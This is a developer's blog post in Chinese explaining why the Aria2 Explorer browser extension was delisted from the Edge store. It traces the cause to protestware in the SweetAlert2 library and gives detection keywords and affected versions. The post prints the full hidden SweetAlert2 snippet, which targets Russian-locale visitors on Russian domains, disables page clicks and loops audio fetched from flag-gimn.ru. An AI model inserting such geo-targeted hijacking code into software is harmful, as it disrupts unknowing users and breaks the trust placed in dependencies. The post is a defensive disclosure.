Aria2 Explorer 被微软下架真相报告

一个星标过万的开源库,一段永远不会触发的代码,让我们莫名其妙成为了"恶意软件"作者

···

摘要:2025年8月,我们的用户通过 GitHub 提醒作者 Aria2 Explorer 被微软 Edge 商店突然下架,并在浏览器中贴上了"含有恶意软件"的标签。此后我们与微软反复沟通、对代码进行了数次修改,历时半年始终无果。直到最近通过 AI 提示,对代码中所有可疑链接进行系统排查,才发现了一个指向 flag-gimn.ru 的可疑域名,通过搜索关联到第三方依赖库 SweetAlert2,并最终追溯到这是作者在俄乌战争期间主动注入的一段政治性代码——而这段代码在我们的扩展中,并不会被触发。这是我们的完整记录。


一、事件经过

2025年8月8日,多位用户在 GitHub 提交 Issue,告知我们:Aria2 Explorer 已从 Microsoft Edge 扩展商店下架。

微软给出的理由是:

The extension contains or enables malware/PUA.

Aria2 Explorer 是一款帮助用户将浏览器下载任务导出到 Aria2 并进行任务管理的开源扩展,代码完全公开在 GitHub,拥有超过10万活跃用户,已持续维护更新8年之久。我们拒绝了无数广告合作与收购邀约,只想做一个干净、好用的下载工具。“含有恶意软件"这个定性,对我们来说既荒谬,又有点哭笑不得。

下架后,我们立即通过微软浏览器扩展官方 GitHub 和邮件与微软浏览器扩展团队展开沟通。对方的回应始终极为模糊,其中只在一次邮件反馈中提到"发现了可疑域名”,却从未指出具体是哪个域名、哪段代码、哪个文件,其余回复皆是"违反开发者协议,包含恶意程序"。在没有任何具体线索的情况下,我们只能凭借经验和猜测,开始了一场方向全错的排查。


二、排查过程:方向全错的半年

排查分为两个阶段。

第一阶段(2025年8月~9月,约一个月):由于问题描述过于模糊,且是突然被下架,无法定位到具体是哪一次修改导致的。我们自然而然地将注意力集中在了扩展的核心功能上——拦截和转发浏览器下载任务。这个功能涉及 cookiesdownloadsscripting 等敏感权限,逻辑上最容易触发安全审核。

我们依次删除或改造了所有"看起来可能有问题"的功能模块:

  • aria2:// 自定义协议:通过 scheme 唤起本地应用打开下载目录,行为特征敏感,删除
  • 内置官方博客:担心内容包含外部链接,删除
  • 点击检测 content script:拦截用户点击行为,容易被误判为追踪,删除
  • 官网版本检查请求:定期请求外部 URL,删除
  • 反复调整权限声明:尝试将 cookies 改为按需申请,精简 host permissions……

每次修改后重新提交,每次都被拒绝,理由一字不变。这一阶段提交了五六次修改版本,每一次都是在没有明确方向的情况下盲目尝试,最终无果而终。

第二阶段(2026年3月):时隔数月后,我们心血来潮,尝试借助 AI 对问题进行系统性分析。在 AI 的提示下,对扩展代码中所有包含的 URL 和域名进行了一次全文扫描,几天之内便找到了真正的根因。

问题的根源,我们始终没有在第一阶段找到——因为我们从一开始就盯错了地方。


三、真相:藏在 SweetAlert2 里的政治代码

通过对扩展代码中所有包含的 URL 和域名进行系统性全文扫描,发现了一个此前从未注意到的陌生域名:

flag-gimn.ru

通过搜索这个域名,我们将其定位到了开源 UI 库 SweetAlert2,并发现其官方 GitHub 已有大量 Issue 讨论此事,诸如:

问题定位到了以下代码:

if (
  typeof window !== 'undefined' &&
  /^ru\b/.test(navigator.language) &&
  location.host.match(/\.(ru|su|xn--p1ai)$/)
) {
  const now = new Date()
  const initiationDate = localStorage.getItem('swal-initiation')
  if (!initiationDate) {
    localStorage.setItem('swal-initiation', `${now}`)
  } else if (
    (now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3
  ) {
    setTimeout(() => {
      document.body.style.pointerEvents = 'none'
      const ukrainianAnthem = document.createElement('audio')
      ukrainianAnthem.src =
        'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'
      ukrainianAnthem.loop = true
      document.body.appendChild(ukrainianAnthem)
      setTimeout(() => {
        ukrainianAnthem.play().catch(() => {})
      }, 2500)
    }, 500)
  }
}

逻辑很简单:检测用户语言为俄语、且域名为俄罗斯域名,满足条件并超过3天后——完全禁用页面所有点击交互,同时从 flag-gimn.ru 加载并强制循环播放乌克兰国歌。

从任何安全审核系统的视角来看,这段代码具备教科书级别的恶意特征:页面劫持、加载外部资源、连接可疑域名、隐藏的定时触发逻辑。flag-gimn.ru,正是微软所说的"suspicious domain"的真正来源。


值得一提的是:这段代码在我们的扩展中实际上永远不会被触发——扩展运行在浏览器环境中,location.host 是扩展自身的域,根本不可能匹配 .ru 域名。我们只是不幸地携带了这段代码,成为了扫描器的误伤目标。


一开始我们并没有把问题聚焦在前端 UI 代码上,因为微软商店上其他内置 AriaNg 的扩展并没有被下架。当然这件事与 AriaNg 原作者没有任何关系,是我们升级了部分组件导致的。

找到根因后,我们用 AI 花了大约20分钟,将 SweetAlert2 在项目中的所有调用替换为自行复刻的轻量实现。效果看上去无二,甚至做了一点点美化(得意😏),代码完全可控,也不再依赖任何可能在未来悄悄改变的第三方库。某种程度上,这也算是对这件事最轻描淡写的一个结尾。


四、事件背景:这不是 bug,是作者的主动选择

SweetAlert2 是一个极为流行的开源 JavaScript 弹窗库,npm 周下载量接近百万。正因如此,我们在引入它时完全没有进行代码审查——没有人会去审查一个用了几年、星标过万的成熟 UI 库。

这段代码不是第三方投毒,而是 SweetAlert2 的作者 limonte 本人在俄乌战争爆发后主动注入的。

  • 2022年3月:作者将这段代码加入 SweetAlert2,起初是插入反战弹窗,后升级为禁用页面交互并强制播放乌克兰国歌 Commit: 7de8f7af
  • 2022年11月:社区开发者发现并提交 GitHub Issue #2552,指出此行为"几乎可以被认定为恶意软件",作者选择保留
  • 2023年7月:知名密码管理器 Bitwarden 被用户发现间接包含此代码,页面在俄语环境下会被完全锁定 GitHub Issue #5734
  • 2024年9月:我们在深度定制和升级 AriaNG 时引入了 SweetAlert2,这段存在了两年多的代码随之进入我们的代码库
  • 2025年8月:这个问题集中爆发,猜测是某安全扫描工具更新了样本库,Chrome 商店和微软商店几乎在同一时间将包含此代码的扩展标记为违规,Aria2 Explorer 被 Edge 商店下架 (这个时间点很有意思,大家自行分析原因。)
  • 2025年8月14日:作者在 v11.22.4 中通过 PR #2847 正式移除了这段代码——触发这次移除的直接原因,是 Chrome 商店有开发者提 GitHub Issue #2846 反映审核被拒

这其实是2022年的一场集体运动

2022年3月俄军入侵乌克兰数周后,npm 生态里爆发了大量 protestware,包括 node-ipc、es5-ext、styled-components、event-source-polyfill 等一批流行库相继被注入抗议代码。

其中危害程度差异极大:node-ipc 直接在疑似俄罗斯和白俄罗斯的开发者机器上执行文件清除操作,实质上已是恶意软件;而 es5-ext、styled-components 等只是显示文字消息,相对温和。

SweetAlert2 的问题在于它走了第三条路——运行时劫持页面 + 加载外部资源,危害介于两者之间,但恰好是最容易触发商店安全扫描的那种形态。


五、两个商店,两种态度

同样的代码,同样的扫描,两家商店的处理方式形成了鲜明对比。

谷歌 Chrome 团队选择了网开一面。可能是考虑到这段代码在我们的扩展中根本无法被触发,为了减少影响并没有下架扩展,否则可能跳进黄河也洗不清了,当然也可能迫使我们更早地发现问题😅。

微软 Edge 团队则在长达半年的多轮、多渠道沟通中,只给出过一次"发现了可疑域名"这一含糊的信息,其余沟通拒绝提供任何可操作的具体信息。对于一个没有配备商业代码扫描工具的独立开发者来说,这等于什么都没说。可能是涉及的信息稍显敏感,不方便详细说明?我们无从得知。

反观 Chrome 团队就务实很多,从 GitHub Issue #2846 可以看出,Chrome 团队直接给出了可疑的关键字 Ukraine anthem,以方便开发者排查。

我们无意在此评判两家公司孰优孰劣,但处理方式上的这种差异,对开发者而言意味着截然不同的结果:一个得以继续服务用户,或者更快地定位问题,另一个则始终未能提供有效的排查信息,让开发者在黑暗中摸索了半年。


六、反思

我们理解战争中的愤怒,也理解一个开发者想要用自己的方式表达立场的冲动。

个人的政治主张有很多表达方式,但不应该是这种。

开源代码是全人类共同积累的智慧资产,建立在无数开发者之间的相互信任之上。将政治意志以隐蔽的方式注入一个被数百万项目依赖的基础库,买单的不是任何政府或体制,而是像我们这样毫不知情的普通开发者,以及我们的用户。

这段代码存在了整整三年,在此期间有多少开发者因此受到影响,至今没有人能给出完整的统计。而对于那些没有配备专业扫描工具的中小开发者,也许现在还有人蒙在鼓里。

世界正在变得越来越不稳定。正因如此,我们更应该以理智和克制的方式去处理各种矛盾与冲突,而不是向这个已经足够混乱的世界,再添一份不必要的混乱。


七、如果你也遇到了类似的情况

如果你的扩展曾被 Edge 商店以"suspicious domain"或"malware/PUA"为由下架或者无法通过审核,而百思不得其解,请立刻在你的打包产物中搜索以下关键字:

"flag-gimn.ru"
"Ukraina.mp3"

如果你使用了 SweetAlert2,请确认版本为 v11.22.4 或以上。受影响的版本范围为 v11.4.9 至 v11.22.3,其中 v11.4.9 至 v11.6.13 期间代码完全隐藏、没有任何文档披露。v11.0.0 至 v11.4.8 不受影响。

此外,这段代码还扩散进了 28个以上的其他 npm 包,即使你没有直接使用 SweetAlert2,也建议检查依赖链。

另外,GitHub 本身有安全扫描功能,建议所有开发者将 Dependabot alerts 打开,以保证供应链的安全。

八、最后的坎坷

这篇文章其实在3月下旬已经完成,只等 Aria2 Exploer 重新上架 Edge 商店后发布。无奈又被微软坑了一个多月,本以为去除了恶意代码,就能重新上架,结果依然被拒,又尝试性地做了一些修改,提交了三次后还是被拒。后来只能放弃了原扩展ID,重新做了新的提交才通过审查重新上架。在这期间微软没有任何提示和文档告诉我们扩展一旦因恶意代码被下架,就再也无法恢复上架,就这样又浪费了一个多月,并且用户和评论都清零了。🤦‍♂️

最后

Aria2 Explorer Edge 商店现已重新上架,感谢在这段时间里持续信任和支持我们的用户。


文末彩蛋

虽然我们的扩展被 Edge 商店下架并被标记为"包含恶意软件",导致完全无法使用,目前依然有6千多用户,也不知道他们是怎么做到的——如果你是其中之一,真的很好奇你的使用方式,欢迎留言。😀

Edge 用户曲线

作者:Alex Hua 项目地址:github.com/alexhua/Aria2-Explorer 官网:aria2e.com

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建 | 主题 StackJimmy 设计